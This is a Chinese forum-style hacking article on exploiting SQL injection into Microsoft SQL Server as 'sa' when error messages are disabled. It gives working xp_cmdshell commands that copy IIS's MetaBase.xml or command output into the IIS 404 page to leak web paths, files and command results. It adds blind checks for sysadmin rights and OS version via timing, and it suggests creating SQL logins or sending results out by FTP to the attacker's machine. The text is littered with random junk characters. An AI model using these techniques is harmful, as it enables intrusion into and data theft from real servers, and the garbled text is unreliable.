遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。0 w' j3 P4 B" d& f. W+ z: p8 H5 L
. ~* f- z) a2 p r2 q! m 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。+ R/ V, U% E. F1 Z' u; E# D2 i5 g
* G9 V- I4 O- F 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。/ Z- c# l6 C8 Y* m. l5 L; o! D; e
1 b' r7 r) b3 C- f2 H
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
' I# F% \ D% u# f. g j# X
+ E7 A; e. _+ Z( f 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
( g' V n5 ~3 C, t1 z# k9 H, E- n" S, l6 g) G2 e* s
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
4 N+ S. ?7 Z# W ?% ?8 [9 M# O9 B/ m2 e5 S7 e) i& L, M3 y% \ \
执行命令得到回显
9 x& j* m# O% D: t8 k% G$ l n8 v' T7 C8 ^
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
$ ^1 J8 ?9 R1 c5 S0 }- v& m/ Q0 [7 i4 |4 A
得到文件也shi相同,把文件copy到404b.htm就行了8 g2 I# i6 J7 L* d8 C
4 O5 f; A5 ~2 F5 r0 u; B/ ?& H by 28ice, 2008/6/26
0 v2 E+ T( N( N G: c) x+ M
" G# [* H* { h5 I4 |) t& V' q% ~ 摘自 28度的冰: X7 a* ]# {8 ^8 U, X
0 Q7 _: b; P6 d3 T' I! K( D
盲注判断权限和操作系统版本 ^( W' G: b, {: h0 ]! B
c( r% J+ Y9 v& @) b
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
: S8 [* ]7 F6 a/ O6 ^! `1 s
! H: I4 O9 K+ M8 _- ~ 最简单的,可能以用这样的方法:4 @. {5 \# Q! {2 q; r
' Q m3 T& a2 q+ R 1=(select IS_SRVROLEMEMBER(’sysadmin’))( j* B3 F9 k" O- k+ X1 t
# `3 C* k% q7 `$ Y( I* U 当然,有些情况下,这个方法并不奏效。
, j: p6 E- @8 c7 |1 F3 X- `# p5 ?( o: c. X
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。2 W* }- i" ]+ U6 j) ^: k
8 v7 z5 C5 Q7 B, m$ i$ |1 U0 w
有个3办法可能以解决这个问题! i+ s( I& G- J8 {( E) p: E
% y6 G% B- J8 h5 u4 X
a.把执行结果写到404b.htm,具体请看我的上一篇文章
7 `5 R5 C/ f1 Y6 ?- w; C/ u
}. v$ y+ d5 C b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
6 P+ `# f0 x: p" [
4 e$ |+ H% q/ k& J d* E c.如果1433端口可能以连接,那干脆新建个sql登录8 N i4 d1 T0 L7 G+ {3 j- j5 Z8 M- F
" H4 w. G9 q: Q( T
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数% \ A( \( ~7 Y, X
4 B: L7 @5 t" J5 i2 N 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
+ i, O* @! I* R' e ~7 r
8 H" O$ e6 }! e) F: D 很简单
$ {& d5 @! [8 T( D _4 M9 n+ s: X/ K8 P! m
执行systeminfo. o# P, u8 \9 t9 Z% L4 k) e* }
4 V1 ^! I/ y1 O
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |